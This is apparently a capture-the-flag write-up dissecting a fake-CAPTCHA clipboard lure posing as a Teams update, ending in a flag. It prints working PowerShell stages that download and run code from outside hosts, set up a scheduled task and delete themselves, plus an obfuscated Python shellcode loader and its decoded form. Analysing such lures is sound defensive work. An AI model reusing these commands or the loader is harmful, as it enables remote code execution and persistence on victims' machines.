Verify You Are Human
My computer said I needed to update MS Teams, so that is what I have been trying to do… …but I can’t seem to get past this CAPTCHA!
We are prompted to access a website, which pops up a fake captcha and says “Press Win+R and Win+V to continue”. The web app will copy some obfuscated PowerShell to your clipboard and hope you run it that way. The first stage is
"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -Wi HI -nop -c "$UkvqRHtIr=$env:LocalAppData+'\'+(Get-Random -Minimum 5482 -Maximum 86245)+'.PS1';irm 'http://03fb465a.proxy.coursestack.com:443/?tic=1'> $UkvqRHtIr;powershell -Wi HI -ep bypass -f $UkvqRHtIr"So, it’s getting the content of http://03fb465a.proxy.coursestack.com:443/?tic=1' and invoking that. Moving onto stage2:
$JGFDGMKNGD = ([char]46)+([char]112)+([char]121)+([char]99);$HMGDSHGSHSHS = [guid]::NewGuid();$OIEOPTRJGS = $env:LocalAppData;irm 'http://10.1.173.237/?tic=2' -OutFile $OIEOPTRJGS\$HMGDSHGSHSHS.pdf;Add-Type -AssemblyName System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory("$OIEOPTRJGS\$HMGDSHGSHSHS.pdf", "$OIEOPTRJGS\$HMGDSHGSHSHS");$PIEVSDDGs = Join-Path $OIEOPTRJGS $HMGDSHGSHSHS;$WQRGSGSD = "$HMGDSHGSHSHS";$RSHSRHSRJSJSGSE = "$PIEVSDDGs\pythonw.exe";$RYGSDFSGSH = "$PIEVSDDGs\cpython-3134.pyc";$ENRYERTRYRNTER = New-ScheduledTaskAction -Execute $RSHSRHSRJSJSGSE -Argument "`"$RYGSDFSGSH`"";$TDRBRTRNREN = (Get-Date).AddSeconds(180);$YRBNETMREMY = New-ScheduledTaskTrigger -Once -At $TDRBRTRNREN;$KRYIYRTEMETN = New-ScheduledTaskPrincipal -UserId "$env:USERNAME" -LogonType Interactive -RunLevel Limited;Register-ScheduledTask -TaskName $WQRGSGSD -Action $ENRYERTRYRNTER -Trigger $YRBNETMREMY -Principal $KRYIYRTEMETN -Force;Set-Location $PIEVSDDGs;$WMVCNDYGDHJ = "cpython-3134" + $JGFDGMKNGD; Rename-Item -Path "cpython-3134" -NewName $WMVCNDYGDHJ; iex ('rundll32 shell32.dll,ShellExec_RunDLL "' + $PIEVSDDGs + '\pythonw" "' + $PIEVSDDGs + '\'+ $WMVCNDYGDHJ + '"');Remove-Item $MyInvocation.MyCommand.Path -Force;Set-ClipboardThis time, it requests ?tic=2 (stage3 now), downloads the file as a .pdf, but then performs zip decompression- so it isn’t really a PDF but rather a .zip). We can download this file, unzip it, and find an output.py file.
import base64
#nfenru9en9vnebvnerbneubneubn
exec(base64.b64decode("aW1wb3J0IGN0eXBlcwoKZGVmIHhvcl9kZWNyeXB0KGNpcGhlcnRleHRfYnl0ZXMsIGtleV9ieXRlcyk6CiAgICBkZWNyeXB0ZWRfYnl0ZXMgPSBieXRlYXJyYXkoKQogICAga2V5X2xlbmd0aCA9IGxlbihrZXlfYnl0ZXMpCiAgICBmb3IgaSwgYnl0ZSBpbiBlbnVtZXJhdGUoY2lwaGVydGV4dF9ieXRlcyk6CiAgICAgICAgZGVjcnlwdGVkX2J5dGUgPSBieXRlIF4ga2V5X2J5dGVzW2kgJSBrZXlfbGVuZ3RoXQogICAgICAgIGRlY3J5cHRlZF9ieXRlcy5hcHBlbmQoZGVjcnlwdGVkX2J5dGUpCiAgICByZXR1cm4gYnl0ZXMoZGVjcnlwdGVkX2J5dGVzKQoKc2hlbGxjb2RlID0gYnl0ZWFycmF5KHhvcl9kZWNyeXB0KGJhc2U2NC5iNjRkZWNvZGUoJ3pHZGdUNkdIUjl1WEo2ODJrZGFtMUE1VGJ2SlAvQXA4N1Y2SnhJQ3pDOXlnZlgyU1VvSUwvVzVjRVAveGVrSlRqRytaR2dIZVZDM2NsZ3o5eDVYNW1nV0xHTmtnYStpaXhCeVRCa2thMHhicVlzMVRmT1Z6azJidURDakFlc2Rpc1U4ODdwOVVSa09MMHJEdmU2cWU3Z2p5YWI0SDI1ZFBqTytkVllrTnVHOHdXUT09JyksIGJhc2U2NC5iNjRkZWNvZGUoJ21lNkZ6azBIUjl1WFR6enVGVkxPUk0yVitacU1iQT09JykpKQpwdHIgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYyhjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSksIGN0eXBlcy5jX2ludCgweDMwMDApLCBjdHlwZXMuY19pbnQoMHg0MCkpCmJ1ZiA9IChjdHlwZXMuY19jaGFyICogbGVuKHNoZWxsY29kZSkpLmZyb21fYnVmZmVyKHNoZWxsY29kZSkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludChwdHIpLCBidWYsIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkpCmZ1bmN0eXBlID0gY3R5cGVzLkNGVU5DVFlQRShjdHlwZXMuY192b2lkX3ApCmZuID0gZnVuY3R5cGUocHRyKQpmbigp").decode('utf-8'))
#g0emgoemboemoetmboemomeioIf we code this, we then end up with
import ctypes
def xor_decrypt(ciphertext_bytes, key_bytes):
decrypted_bytes = bytearray()
key_length = len(key_bytes)
for i, byte in enumerate(ciphertext_bytes):
decrypted_byte = byte ^ key_bytes[i % key_length]
decrypted_bytes.append(decrypted_byte)
return bytes(decrypted_bytes)
shellcode = bytearray(xor_decrypt(base64.b64decode('zGdgT6GHR9uXJ682kdam1A5TbvJP/Ap87V6JxICzC9ygfX2SUoIL/W5cEP/xekJTjG+ZGgHeVC3clgz9x5X5mgWLGNkga+iixByTBkka0xbqYs1TfOVzk2buDCjAesdisU887p9URkOL0rDve6qe7gjyab4H25dPjO+dVYkNuG8wWQ=='), base64.b64decode('me6Fzk0HR9uXTzzuFVLORM2V+ZqMbA==')))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))
functype = ctypes.CFUNCTYPE(ctypes.c_void_p)
fn = functype(ptr)
fn()which is basically use ctypes to load native Windows shell code (that is base64 encoded). If we use Cyberchef to XOR the zGdgT6GHR9uXJ682kdam1A5TbvJP/Ap87V6JxICzC9ygfX2SUoIL/W5cEP/xekJTjG+ZGgHeVC3clgz9x5X5mgWLGNkga+iixByTBkka0xbqYs1TfOVzk2buDCjAesdisU887p9URkOL0rDve6qe7gjyab4H25dPjO+dVYkNuG8wWQ== with the key me6Fzk0HR9uXTzzuFVLORM2V+ZqMbA== and write to a file, for example, shellcode.bin, we can then use Binary Ninja to analyze the shellcode.
00000000 int64_t sub_0()
00000000 {
00000000 int64_t rbp;
00000000 int64_t var_8 = rbp;
00000001 uint64_t rbp_1 = ((uint64_t)&var_8);
00000003 void var_88;
00000003 uint64_t rsp = ((uint64_t)&var_88);
00000009 *(uint64_t*)(rsp - 8) = -0x7b7b276d;
0000000e *(uint64_t*)(rsp - 0x10) = -0x68393c70;
00000013 *(uint64_t*)(rsp - 0x18) = -0x6d6c6f3d;
00000018 *(uint64_t*)(rsp - 0x20) = -0x383c3b70;
0000001d *(uint64_t*)(rsp - 0x28) = -0x6c636c64;
00000022 *(uint64_t*)(rsp - 0x30) = -0x39396340;
00000027 *(uint64_t*)(rsp - 0x38) = -0x6c633969;
0000002c *(uint64_t*)(rsp - 0x40) = -0x3e62386c;
00000031 *(uint64_t*)(rsp - 0x48) = -0x6e693e22;
00000036 *(uint64_t*)(rsp - 0x50) = -0x3d3b363d;
00000040 uint64_t rdi = ((uint64_t)(rsp - 0x50));
0000004b int32_t i;
0000004b do
0000004b {
00000042 *(uint32_t*)rdi = (*(uint32_t*)rdi ^ 0xa5a5a5a5);
00000048 i = rdi;
00000048 rdi = ((uint64_t)(rdi + 4));
0000004b } while (i != 0xfffffffc);
0000004e *(uint8_t*)(rsp - 0x2a) = 0;
00000053 *(uint8_t*)(rbp_1 - 0x81) = 0;
0000005c uint64_t rdi_1 = ((uint64_t)((int32_t)(rbp_1 - 0x80)));
00000068 do
00000068 {
00000066 *(uint8_t*)rdi_1 = *(uint8_t*)((uint64_t)(rsp - 0x50));
00000068 } while (i != 0xfffffffc);
0000006d *(uint8_t*)rdi_1 = 0;
0000007c do
0000007c {
0000007a *(uint8_t*)((uint64_t)((int32_t)(rsp - 0x50))) = 1;
0000007c } while (i != 0xfffffffc);
00000080 *(uint64_t*)rbp_1;
00000081 return 1;
00000000 }
This basically creates a buffer that contains 7b7b276d, 68393c70, etc and then XORs every 4 bytes with 0xa5a5a5a5. Creating a simple Python script to reverse this logic: flag{d341b8d2c96e9cc96965afbf5675fc26}.`